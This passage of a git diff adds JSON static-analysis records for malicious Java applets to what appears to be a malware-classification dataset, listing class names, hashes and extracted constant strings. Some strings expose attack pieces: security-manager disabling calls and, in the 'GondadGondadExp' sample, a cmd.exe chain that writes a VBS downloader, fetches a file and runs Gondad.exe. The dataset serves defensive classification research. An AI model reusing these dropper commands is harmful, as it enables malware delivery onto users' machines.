"\\x19\\x1e\\xc0\\x80", "/.+6*\\x03\\n", "J\\x04Q]]", "newInstance", "\\x08\\x1f\\n", "\\t\\x1e\\x0b\\x08\\x0e\\x04\\x06\\x07\\t\\x1e\\x01\\x1f\\nL\\x07\\x02\\n\\x01", "\\n\\x0b\\x08\\x1f\\x08\\n\\r\\x1f", "\\r\\r\\x1f", "\\x06\\r\\x1a\\rB\\x05\\x03B.\\x15\\x18\\t-\\x1e\\x1e\\r\\x15#\\x19\\x18\\x1c\\x19\\x18?\\x18\\x1e\\t\\r\\x01", "\\x1b\\x1e\\x05\\x18\\t", "\\x18\\x03.\\x15\\x18\\t-\\x1e\\x1e\\r\\x15"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "51be8f2d550683492b4a43544ae73c0fcf5bc21b", "file_name": "java_malicious/8ac92e6d16f1e63f076eba78f0191adfe7d021325260c0fa5fe5aa92064601d4", "_id": "c6a19472-1343-4264-8466-f2fac0a6eef8", "score": 0, "entropy": 6.108582533456753, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5486, "ssdeep": "96:ewFll1w38K2WswHsmAVjTX0WITEGDX9q+eHwTG+WhiG:hlr9KLJbAJHlSX9q+EPthiG", "sha256": "8ac92e6d16f1e63f076eba78f0191adfe7d021325260c0fa5fe5aa92064601d4", "md5": "5aa8fb98eda58c214705c8214799cf97", "parent_sha256": "8ac92e6d16f1e63f076eba78f0191adfe7d021325260c0fa5fe5aa92064601d4"}} \ No newline at end of file diff --git a/java_classification/data/malicious/8ada03d83340833209b2c59abbdeac1361e68fdd77db850cde3dc9882e39d374.results b/java_classification/data/malicious/8ada03d83340833209b2c59abbdeac1361e68fdd77db850cde3dc9882e39d374.results new file mode 100755 index 0000000..675b833 --- /dev/null +++ b/java_classification/data/malicious/8ada03d83340833209b2c59abbdeac1361e68fdd77db850cde3dc9882e39d374.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "fobfog", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "uta", "pya", "pya2", "pya3", "init", "box", "lam"], "minor_version": 0, "const_pool_count": 180}}, "_id": "69202a48-9c4e-459e-a0b4-50f58b00a526", "verbose": {"java": {"constant strings": ["zoo", "oxo", "@", "java.util.concurrent.atomic.AtomicReferenceArray", "set", "java.net.URL", "openStream", "fiBS//", "BS", "le:/", "[Ljava.security.cert.Certificate;", "java.security.CodeSource", "java.security.Permissions", "add", "java.security.Permission", "java.security.AllPermission", "java.security.ProtectionDomain", "java.security.PermissionCollection"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6aa8e4e05be262c8fe008db306d9b4dad74ff9f5", "file_name": "java_malicious/8ada03d83340833209b2c59abbdeac1361e68fdd77db850cde3dc9882e39d374", "_id": "69202a48-9c4e-459e-a0b4-50f58b00a526", "score": 0, "entropy": 5.708051928204031, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3189, "ssdeep": "48:x2jQzeNgZpyBuRbJNQbtkwCVrv16PgH2UEhDmyc639QVrijdkJMHEw:xvzUYbsbSjNq/kycUgrij+Nw", "sha256": "8ada03d83340833209b2c59abbdeac1361e68fdd77db850cde3dc9882e39d374", "md5": "a97237a7f56d558b1751691c206a897b", "parent_sha256": "8ada03d83340833209b2c59abbdeac1361e68fdd77db850cde3dc9882e39d374"}} \ No newline at end of file diff --git a/java_classification/data/malicious/8bba4b6a0d3db86dfb48e96589d49a994581887a6935e469b2e353f1f03ae1b9.results b/java_classification/data/malicious/8bba4b6a0d3db86dfb48e96589d49a994581887a6935e469b2e353f1f03ae1b9.results new file mode 100755 index 0000000..b0e95a8 --- /dev/null +++ b/java_classification/data/malicious/8bba4b6a0d3db86dfb48e96589d49a994581887a6935e469b2e353f1f03ae1b9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "c.java", "class_name": "c", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "", "main", "a", "b", "a", "a", "a"], "minor_version": 0, "const_pool_count": 431}}, "_id": "810b9b71-44eb-4f1c-bef5-8dfd3d0aaf2c", "verbose": {"java": {"constant strings": ["", "\\n", " ", "\\x08\\x0b_n>F\\x0eN6w", "\\rX\\x1b", "\\x03\\x02", ",", "\\x05\\xc0\\x80J<", ".", "\\x06\\xc0\\x80J<", "/", "\\x07.N=<\\\\\\x05[a", "\\x07.D-\"E\\x0fE:$\\x07", "\\x07&B,%I\\x18Ra", "\\x07\\x08B 3\\x06\\x0eJ:", "\\x07\\x0f", "\\x07\\x02D=#\\x06\\x0eJ:", "\\x07\\x01", "i/x", "i:{\\n\\x16|+", "kPw", "a\\x06G+0I\\x06\\x0b&2P\\x0bO+4A\\x07J\"wK\\x02J<6K\\x1eNmco", "\\\\", "t=B 3G\\x1dX\\x12\\x04Q\\x19_+:\\x1bXw*%A\\x1cN<$t\\x0f_-\\x0b@\\x05X:$", "t\\x08B \\x0bB\\x0b]/", "I\\x1a[*6\\\\\\x0b", "I\\x1a[\"2\\x06\\x0b\\\\:y}#n\"2E\\x0fE:", "I\\x1e_<>J", "L\\x0fX%#G\\x1a", "N\\x03G+m", "B\\x0b]/", "B\\x0b]/y@\\x05F+", "G\\x19\\x05 6E\\x0f", "Z\\x05D:xkJO<>^\\x0f", "\\\\\\x0fF>xL\\x05H;:M\\x04_=w\\xc0\\x80\\x1fE\\'/\\x01", "\\\\\\x18^+", "]\\x19N", "udhfs", "dsfkjfdkdodidid", "init"], "minor_version": 0, "const_pool_count": 90}}, "_id": "3dc71338-f7ae-4503-87d4-cffed25c3576", "verbose": {"java": {"constant strings": ["all okay", "what?", "dsoifhsiduh", "shdgffaydj?"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "46cf117bf70db5b4abc91de8803a9302bcaf7e93", "file_name": "java_malicious/8c66c64c4ed77555aa43af536e410b8896fe07702655ba1de9de2af73251dc98", "_id": "3dc71338-f7ae-4503-87d4-cffed25c3576", "score": 0, "entropy": 5.6709526594212765, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1241, "ssdeep": "24:ZBkVEhc+fyQmMyB2TwJpmR21byWL+gXksKb1CHCwh86t9LOJrKZg1:UVr+fyBB2TGAR21bVLf0BWLOZKZ6", "sha256": "8c66c64c4ed77555aa43af536e410b8896fe07702655ba1de9de2af73251dc98", "md5": "02ae6649a284d9f7d5c00a62eeadff3c", "parent_sha256": "8c66c64c4ed77555aa43af536e410b8896fe07702655ba1de9de2af73251dc98"}} \ No newline at end of file diff --git a/java_classification/data/malicious/8d6fb9f0e1b5a412be32e586a957befcd8343cb64d0b9d6d6c60fe48feba076d.results b/java_classification/data/malicious/8d6fb9f0e1b5a412be32e586a957befcd8343cb64d0b9d6d6c60fe48feba076d.results new file mode 100755 index 0000000..12b500b --- /dev/null +++ b/java_classification/data/malicious/8d6fb9f0e1b5a412be32e586a957befcd8343cb64d0b9d6d6c60fe48feba076d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "coPKePHIR.java", "class_name": "coPKePHIR", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "AWAMW", "sNczZ", "iFpxs", "paciobx", "MYYKgsSf", "SJXcY", "iseiIxc", "jpESO", "QprojG"], "minor_version": 0, "const_pool_count": 149}}, "_id": "83ea22eb-20a9-40dc-8a22-ee0c0cfec860", "verbose": {"java": {"constant strings": ["!##", "-/:(", "=;=;", "?.=<-:(", "", ";=>>0,", "?.8-:(", ";=0,", "?.-:(", "-:/", ",;.-+!#\",;$:/i\"\\'/$"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e098c5585b10977e4b3c22340944a95732981a4c", "file_name": "java_malicious/8d6fb9f0e1b5a412be32e586a957befcd8343cb64d0b9d6d6c60fe48feba076d", "_id": "83ea22eb-20a9-40dc-8a22-ee0c0cfec860", "score": 0, "entropy": 5.827130639239594, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4310, "ssdeep": "96:jWmFlyI7RYfh6OJ57Jdinhv6+Nap+vQqIUcApu4PJWY:i0lyI7+f3b7Jdihv6+N4BP4PT", "sha256": "8d6fb9f0e1b5a412be32e586a957befcd8343cb64d0b9d6d6c60fe48feba076d", "md5": "8ffc6f9afefd7a9cc652c8df7dac3af1", "parent_sha256": "8d6fb9f0e1b5a412be32e586a957befcd8343cb64d0b9d6d6c60fe48feba076d"}} \ No newline at end of file diff --git a/java_classification/data/malicious/8f0dc836532d455f25e8e9429c4aa9c1e46659c573862f26fce0ec0cd3caa6bf.results b/java_classification/data/malicious/8f0dc836532d455f25e8e9429c4aa9c1e46659c573862f26fce0ec0cd3caa6bf.results new file mode 100755 index 0000000..8d9979d --- /dev/null +++ b/java_classification/data/malicious/8f0dc836532d455f25e8e9429c4aa9c1e46659c573862f26fce0ec0cd3caa6bf.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Class3.java", "class_name": "Class3", "access_permissions": ["ACC_SUPER"], "major_version": 48, "method_names": ["", "decode_str", "char_at", "get_func", "invoke", "string_to_bytes", "load"], "minor_version": 0, "const_pool_count": 170}}, "_id": "264f267e-ddd6-4715-8bbb-8ff267629429", "verbose": {"java": {"constant strings": ["877E9062878C8D7A877C7E", "8C7E8D6C7E7C8E8B828D92667A877A807E8B", "7F82857E53484848", "CF03BFC30505053505830F052C05370F053805390C053A0F053B053C0D053D0D053E0F053B053F0C05400C05410D05420F054305440F050E05450F050E05460F050D05470C05480C05490C054A0F051605370D054B0F053B054C0F0516054D0D054E0F0516054F0F051505450F051405500F050D05510D05520F055305540D05550D05560D05570F051405580F050D05590F051405590F055A055B0F055A055C0C055D0C055E0C055F0C056006050B416E736E79430605082D2E5B0605094874696A060514516E736A537A72676A77596667716A060508777A730605192D2E516F667B66347166736C3454676F6A68794006050F4A7D686A75796E74737806050F58747A77686A4B6E716A060510487166787839336F667B6611052E052F0C0561110562056306052C6F667B6634786A687A776E797E3455776E7B6E716A6C6A694668796E74734A7D686A75796E74730C056411056505660605136D79797533706A6A7566716E7B6A06050A6B6671786A11056705680605206F667B66346E7434477A6B6B6A776A694E73757A795879776A66720605116F667B6634736A79345A5751060605", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "252525252525252525252525254D5959753F34347F747472676E736E786F747A", "777366717833687472346B394C6F6A347D7E4E523E46495A55394A507966583D", "0C056911056A056B11052E056C11056D056E11052E056F0605216F667B66346E7434477A6B6B6A776A69547A79757A795879776A667206051D6F667B66346E74344B6E716A547A79757A795879776A667206051B6F667B66347166736C345879776E736C477A6B6B6A77060509594A52551105700571110572057306050D34727477336A7D6A110574056B11052E0575110576057706050A", "3535353D3A", "0C0578110579057A06050A", "3535363735", "06050A", "3535353A3C", "3535363736", "11057B057C11057D052F0C057E11057F058011058105820605186F667B66347166736C344A7D686A75796E747306050B4871667878390605156F667B66347166736C3454676F6A687906052C6F667B6634786A687A776E797E3455776E7B6E716A6C6A694A7D686A75796E74734668796E74730605236F667B6634786A687A776E797E344668686A787848747379777471716A77060511697455776E7B6E716A6C6A690605422D516F667B6634786A687A776E797E3455776E7B6E716A6C6A694A7D686A75796E74734668796E7473402E516F667B66347166736C3454676F6A6879400605156F667B66347166736C34587E78796A72060517786A79586A687A776E797E526673666C6A770605232D516F667B66347166736C34586A687A776E797E526673666C6A77402E5B060510786A79557774756A77797E06053D2D516F667B66347166736C345879776E736C40516F667B66347166736C345879776E736C402E516F667B66347166736C345879776E736C400605156F667B66347166736C345879776E736C06050979776E720605192D2E516F667B66347166736C345879776E736C4006051A2D516F667B66347166736C345879776E736C402E5B06050F74756A735879776A667206051C2D2E516F667B66346E74344E73757A795879776A66724006051D2D516F667B66346E74344E73757A795879776A6672402E5B06050B6C6A796A737B06052B2D516F667B66347166736C345879776E736C402E516F667B66347166736C345879776E736C4006050B6675756A73690605312D516F667B66347166736C345879776E736C402E516F667B66347166736C345879776E736C477A6B6B6A774006050D79745879776E736C06051F2D516F667B66346E7434547A79757A795879776A6672404E2E5B060509776A666906050C2D60474E4E2E4E0605166F667B66347166736C344E73796A6C6A7706050D756677786A4E737906051A2D516F667B66347166736C345879776E736C402E4E06050A7C776E796A06050C2D60474E4E2E5B06050A687174786A0605166F667B66347166736C34577A73796E726A06050F6C6A79577A73796E726A06051A2D2E516F667B66347166736C34577A73796E726A400605096A7D6A6806052C2D516F667B66347166736C345879776E736C402E516F667B66347166736C34557774686A7878400526052B052C0506052D050505070506052E052F050605300505054305060507050505132FBC05062FBD05075CAC050951B605060509050E05110508050605310505051B050A0505050E05090511050E05160511051305120517050605320533050705300505069C050B050C0505061C06BD0509160905C10D5108420843170A170BBD050C5CC0050D5EC0050E5E170FBB0510BC0511BB0512BC05133F09C005145EC005155EC005165EBC05171718BD0519BB051A171BBB051ABB051CBC051D160905BC051E3F0A1E093008160905BB051F5E42A0058622216543083B0B1A0B21A7056E2221691A0B650C759F0518301A0B61381720BD0521879659AC054D2221691A0B650C7509A50518301A0B61381722BD0521879659AC05312221691A0B650C750AA50518301A0B61381723BD0521879659AC0515301A0B61381724BD0521879659890B06AC049C1E0A300821BB0525AC047B1E09BB05261E0ABB0527BD05283F0B1E0BC005165EBC05171718BD0519BB051A171BBB051ABB051CBB05295CAC05095106B50506050906160619052A050605310505056B051E0505051B0509051E050F051F05130521051B052205330523055D0524056C052605700527057905290584052B0594052D05A0052F05B0053105BC053305CC053705D9052705DF053A05EA053C05EF053D05F4053E05F9053F0616054406190541061A05450534050505090506052A05060535050505070536"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "be1f3693f11204f9cd6267f603a606e4bb4d8a31", "file_name": "java_malicious/8f0dc836532d455f25e8e9429c4aa9c1e46659c573862f26fce0ec0cd3caa6bf", "_id": "264f267e-ddd6-4715-8bbb-8ff267629429", "score": 0, "entropy": 5.296569354218107, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 7323, "ssdeep": "192:Bl/i2e8opXkIP9pJCDpDM3UcOqXz/fr/Gt59FYcCwuE:BEwopXkMpJCDpDVcrznruz9SbE", "sha256": "8f0dc836532d455f25e8e9429c4aa9c1e46659c573862f26fce0ec0cd3caa6bf", "md5": "5b5cf741f9e1de7fb2f478a64f57c7eb", "parent_sha256": "8f0dc836532d455f25e8e9429c4aa9c1e46659c573862f26fce0ec0cd3caa6bf"}} \ No newline at end of file diff --git a/java_classification/data/malicious/8f2115a083dc6ef8d0e4ea1cf264e948aa43441342898370e7534fbcbea839a4.results b/java_classification/data/malicious/8f2115a083dc6ef8d0e4ea1cf264e948aa43441342898370e7534fbcbea839a4.results new file mode 100755 index 0000000..2ef9553 --- /dev/null +++ b/java_classification/data/malicious/8f2115a083dc6ef8d0e4ea1cf264e948aa43441342898370e7534fbcbea839a4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Putufak.java", "class_name": "Putufak", "access_permissions": ["ACC_SUPER"], "major_version": 50, "method_names": ["getNumDataElements", "", "a"], "minor_version": 0, "const_pool_count": 73}}, "_id": "fff875b0-84b2-4002-8631-34e069af1bf3", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"java": "rot0"}}}, "constant strings": ["fDile:/D//", "D", "", "java.security.CodeSource"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "10b4cb56bfdc70e11b35f1df17d83800f21ba716", "file_name": "java_malicious/8f2115a083dc6ef8d0e4ea1cf264e948aa43441342898370e7534fbcbea839a4", "_id": "fff875b0-84b2-4002-8631-34e069af1bf3", "score": 0, "entropy": 5.354719460810116, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1284, "ssdeep": "24:9HP+/Wwulj/5SEzu/+Q/2pxigk8GOfPZBhtmvSvM:9HP+ellD5SES/+Q/2pcgkiZBsEM", "sha256": "8f2115a083dc6ef8d0e4ea1cf264e948aa43441342898370e7534fbcbea839a4", "md5": "ad3912866d0d21a7922813e8b8854790", "parent_sha256": "8f2115a083dc6ef8d0e4ea1cf264e948aa43441342898370e7534fbcbea839a4"}} \ No newline at end of file diff --git a/java_classification/data/malicious/8f6089915b1f273ac5549b0775ee57442601a1861c48ce99ca1cde092b19537c.results b/java_classification/data/malicious/8f6089915b1f273ac5549b0775ee57442601a1861c48ce99ca1cde092b19537c.results new file mode 100755 index 0000000..dbb4f8f --- /dev/null +++ b/java_classification/data/malicious/8f6089915b1f273ac5549b0775ee57442601a1861c48ce99ca1cde092b19537c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "interfaces": ["java/lang/Runnable"], "major_version": 46, "method_names": ["", "keyPressed", "paint", "a", "run"], "minor_version": 0, "const_pool_count": 256}}, "_id": "bbd2b588-6763-4a1a-9fc5-fc9046c5496d", "verbose": {"java": {"constant strings": ["", ".png", "/", "alarmphone", "alarmtext", "delay", "footer", "header", "no sended.", "send", "send failed: ", "sended.", "sending...", "sms://", "text", "true"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "bff3768265598958dd02568f257dab189f357333", "file_name": "java_malicious/8f6089915b1f273ac5549b0775ee57442601a1861c48ce99ca1cde092b19537c", "_id": "bbd2b588-6763-4a1a-9fc5-fc9046c5496d", "score": 0, "entropy": 5.779238676167152, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 3547, "ssdeep": "48:vudAC+VQcR98n6icZepRroLo4K2qcHsRTu5TnbVFGQn4Box0d6Sr0vMOoaxlV4wU:2/nn6ztcBoxSVSoKlu", "sha256": "8f6089915b1f273ac5549b0775ee57442601a1861c48ce99ca1cde092b19537c", "md5": "01d224c032101d4b5f2c39a2c08e2ef6", "parent_sha256": "8f6089915b1f273ac5549b0775ee57442601a1861c48ce99ca1cde092b19537c"}} \ No newline at end of file diff --git a/java_classification/data/malicious/8fba51aa6d0ebaa1abf70da7b03d787379ca8edc1c70be9b93d15a3062c4477c.results b/java_classification/data/malicious/8fba51aa6d0ebaa1abf70da7b03d787379ca8edc1c70be9b93d15a3062c4477c.results new file mode 100755 index 0000000..e4aac03 --- /dev/null +++ b/java_classification/data/malicious/8fba51aa6d0ebaa1abf70da7b03d787379ca8edc1c70be9b93d15a3062c4477c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "GondadGondadExp.java", "class_name": "GondadGondadExp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "init"], "minor_version": 3, "const_pool_count": 133}}, "_id": "d82d8f6b-e923-4d55-bdfc-42a7ffd7b7a0", "verbose": {"java": {"constant strings": ["java.lang.System.setSecurity", "GQcaip8BhuHQuW7Vl", "dota", "function", "j", "return \"exploit!\";};", "s", "error.message = this;", "ts(0)", "ho UR", "var error = new Error(\"My error\");this.toString = ", "(){ ", "Manager(null);java.lang.Runtime.getRuntime().exec(\\'cmd.exe /c ec", "L = LCase(WScript.Argumen", ")>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo dim m,s,gond>>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo gond=\"GQcaip8BhuHQuW7V\">>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo m=\"Mvivcvrvovsvovfvtv.vXvMvLvHvTvTvP\">>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo s=\"AzDzOzDBz.zSztzrzezazm\">>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo set cmd =Createobject(replace(m,\"v\",\"\")) >>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo cmd.Open \"GET\",URL,0 >>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo cmd.Send()>>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo FileName=LCase(WScript.Arguments(1))>>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo Set CsCriptGet = Createobject(replace(s,\"z\",\"\"))>>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo CsCriptGet.Mode=^3>>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo CsCriptGet.Type=^1>>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo CsCriptGet.Open()>>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo CsCriptGet.Write(cmd.responseBody)>>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2>>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c cscript \"%temp%\\\\\\\\GQcaip8B.vbs\" ", " \"%temp%\\\\\\\\Gondad.exe\"&& \"%temp%\\\\\\\\Gondad.exe\"\\');", "error"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "bcc1677af24a3238f07a9c54175c8cc8b6d51450", "file_name": "java_malicious/8fba51aa6d0ebaa1abf70da7b03d787379ca8edc1c70be9b93d15a3062c4477c", "_id": "d82d8f6b-e923-4d55-bdfc-42a7ffd7b7a0", "score": 0, "entropy": 5.86860394281999, "libmagic": "compiled Java class data, version 45.3", "file_size": 3274, "ssdeep": "48:CayGl/6B3pDhZ0A5b071VlLa3Ji1b0s6hGUdvXdGO2M89TAG8PnI:CzGlyB3pDv107DllKfhG6dsM89bUI", "sha256": "8fba51aa6d0ebaa1abf70da7b03d787379ca8edc1c70be9b93d15a3062c4477c", "md5": "29e0ca1f9f87b0f7b1454b7b97ca459e", "parent_sha256": "8fba51aa6d0ebaa1abf70da7b03d787379ca8edc1c70be9b93d15a3062c4477c"}} \ No newline at end of file diff --git a/java_classification/data/malicious/901ec322755077fa6d54c3447b41537a97253597c100ee88b858bb82c2330fa2.results b/java_classification/data/malicious/901ec322755077fa6d54c3447b41537a97253597c100ee88b858bb82c2330fa2.results new file mode 100755 index 0000000..c62d9ed --- /dev/null +++ b/java_classification/data/malicious/901ec322755077fa6d54c3447b41537a97253597c100ee88b858bb82c2330fa2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "OjIon.java", "class_name": "CQAfR/OjIon", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "dsuqX", ""], "minor_version": 0, "const_pool_count": 359}}, "_id": "885cc416-e7f5-452f-a2ca-38f9eb834732", "verbose": {"java": {"constant strings": ["4=*(*=", " =*(*=", "#=*(=", "#/=*", "8/=/", "/-", "6=*"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e532be928b39556c49493b8436c7b6d327ff7b68", "file_name": "java_malicious/901ec322755077fa6d54c3447b41537a97253597c100ee88b858bb82c2330fa2", "_id": "885cc416-e7f5-452f-a2ca-38f9eb834732", "score": 0, "entropy": 4.911082605410108, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6148, "ssdeep": "96:bnSlbIKJqrkDCkFlEsl0GnhQMRBJXLb3rHja6DnRM:bWbJvRlEsmGhRBHrDa6Du", "sha256": "901ec322755077fa6d54c3447b41537a97253597c100ee88b858bb82c2330fa2", "md5": "ae6525fa5c225aaf8966e5f7211b21fa", "parent_sha256": "901ec322755077fa6d54c3447b41537a97253597c100ee88b858bb82c2330fa2"}} \ No newline at end of file diff --git a/java_classification/data/malicious/907959f9edb8c4b9ae6855c44e4a064e412e3320fb91ba2354f8f1e9bf546b86.results b/java_classification/data/malicious/907959f9edb8c4b9ae6855c44e4a064e412e3320fb91ba2354f8f1e9bf546b86.results new file mode 100755 index 0000000..7a06c3d --- /dev/null +++ b/java_classification/data/malicious/907959f9edb8c4b9ae6855c44e4a064e412e3320fb91ba2354f8f1e9bf546b86.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "YkSVFhjH.java", "class_name": "aHrMCrboe/YkSVFhjH", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "WvPDr", "EGzsSIbVQ", "", "ZEtEBQA", "HLgcU", "init"], "minor_version": 0, "const_pool_count": 206}}, "_id": "522111e9-4aa7-4410-9e23-89d0d9e227b1", "verbose": {"java": {"constant strings": ["+\"+#+ :\\x08\"+6", "$/8/`\"/ )`\\x01,$+-:$/8/`\"/ )`\\x1d:<\\' )", "*+-\"/<+*\\x03+:&!*=", "-!#`=; `$#6`#,+/ =+<8+<`\\x04#6\\x03\\x0c+/ \\x1d+<8+<", " +9\\x03\\x0c+/ \\x1d+<8+<", "$/8/`\"/ )`\\x1d:<\\' )$/8/6`#/ /)+#+ :`\\x03\\x0c+/ \\x1d+<8+<$/8/6`#/ /)+#+ :`\\x03\\x0c+/ \\x1d+<8+<\\n+\"+)/:+,!!\"+/ ", "", ")+:\\x03\\x0c+/ \\x07 =:/ :\\'/:!<", "(\\' *\\r\"/==", "$/8/`\"/ )`\\x1d:<\\' )$/8/`\"/ )`\\r\"/==\\x02!/*+<", "=; `!<)`#!4\\'\"\"/`$/8/=-<\\'>:`\\' :+< /\"`\\r! :+6:", "=; `!<)`#!4\\'\"\"/`$/8/=-<\\'>:`\\' :+< /\"`\\t+ ++-:!<", "+ :+<", "-<+/:+\\r\"/==\\x02!/*+<", "*+(\\' +\\r\"/==", ";<\"", "+\\x0c\\x17=\\x17%", "/>>\"+:\\x11-\"/==", " +9\\x07 =:/ -+", "\\x7f~~~~~", "-/(+,/,+~~~~~~}\\x7f~~**~/~~}*~~{-~/~~{*~~{+~y~~{(~/~~~}~~{-~w~~}-~~x~~v~~x\\x7f~v~~x|~/~~}-~~x}~/~~~}~~xz~v~~x{~/~~~}~~xx~/~~}-~~xy~y~~xv~/~~~*~~xw~/~~x/~~x,~/~~}-~~x-~y~~x*~/~~\\x7f\\x7f~~x+~/~~\\x7f\\x7f~~x(~y~~y~~/~~\\x7fz~~x+~/~~y\\x7f~~y|~/~~y}~~yz~/~~\\x7fz~~y{~/~~\\x7fz~~yx~/~~y}~~yx~/~~y\\x7f~~yy~v~~yv~v~~yw~w~~}-~~y/~/~~y,~~y-~/~~y*~~y+~/~~y(~~v~~/~~\\x7f\\x7f~~v\\x7f~/~~v|~~xx~v~~v}~v~~vz~/~~v{~~vx~/~~v{~~vy~v~~vv~v~~{|~/~~vw~~v/~/~~v{~~v,~/~~vw~~v-~/~~v*~~v+~/~~v{~~v(~/~~v{~~w~~/~~}-~~w\\x7f~/~~v{~~w|~/~~}-~~w}~/~~v{~~wz~y~~w{~/~~}z~~{-~/~~}z~~wx~/~~~}~~wy~v~~wv~/~~x/~~ww~/~~}-~~w/~v~~w,~y~~w-~y~~w*~y~~w+~\\x7f~~~}x(y{yz~\\x7f~~\\x7fvz-x/x\\x7fyxx\\x7f|(xwx(|(z|y{xxxxx{y|x{xz{yy|xwyzx{y|},~\\x7f~~~|xwx+~\\x7f~~\\x7fvz-x/x\\x7fyxx\\x7f|(xwx(|(z|y{xxxxx{y|x{xz{|x{x\\x7fxzx{y|},~\\x7f~~~\\x7fy}~\\x7f~~\\x7f\\x7fz-x/x\\x7fyxx\\x7f|(x+x{yz|({}x(x}x,x{yz},~\\x7f~~~}y{y|x-~\\x7f~~\\x7f|z-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},~\\x7f~~~-x\\x7fy~y~x-x{yz{(x}x-x\\x7fy}y}~\\x7f~~\\x7f\\x7fz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|(z}x-x\\x7fy}y}},~\\x7f~~~x}-xwx+xwyz}+~\\x7f~~~}|v|w{x~\\x7f~~~zz}x(xzx{~\\x7f~~~(z-xwx+x{z+y{x*x|x{y|{zx\\x7fx|x-x{~\\x7f~~~}y|y{x+~\\x7f~~\\x7fz|v|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|(z(x|x/x{x}yz},~\\x7f~~~{yxy~yx{vy\\x7f~\\x7f~~~/zyx{yzz/x\\x7fy|z+x\\x7fx*x{~\\x7f~~\\x7fz|v|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},~\\x7f~~~}z*zz}{~\\x7f~~|x|vz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},~\\x7f~~\\x7fz{xx\\x7fx-xwxzx\\x7fyzx{{}x{x}y{y|xwyzywzxy{x+x}~\\x7f~~z/|vz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},z-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},z-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},~\\x7f~~\\x7f\\x7f{|x\\x7fx+xzx(x*{}yzy|xwx+xyz\\x7f{}z}zwzw~\\x7f~~\\x7f{|vzw|wz-x/x\\x7fyxx\\x7f|(x-x\\x7fx+xy|({}yzy|xwx+xy},~\\x7f~~~,xyx{yzzxxwx-x{{~x\\x7fyzxv~\\x7f~~~v}-x}x-xwx+xwyz}+~\\x7f~~~/{}x(y{y|x}x{zxxwx-x{~\\x7f~~~-yvx-x}yx{vzvy/|+x/x\\x7fy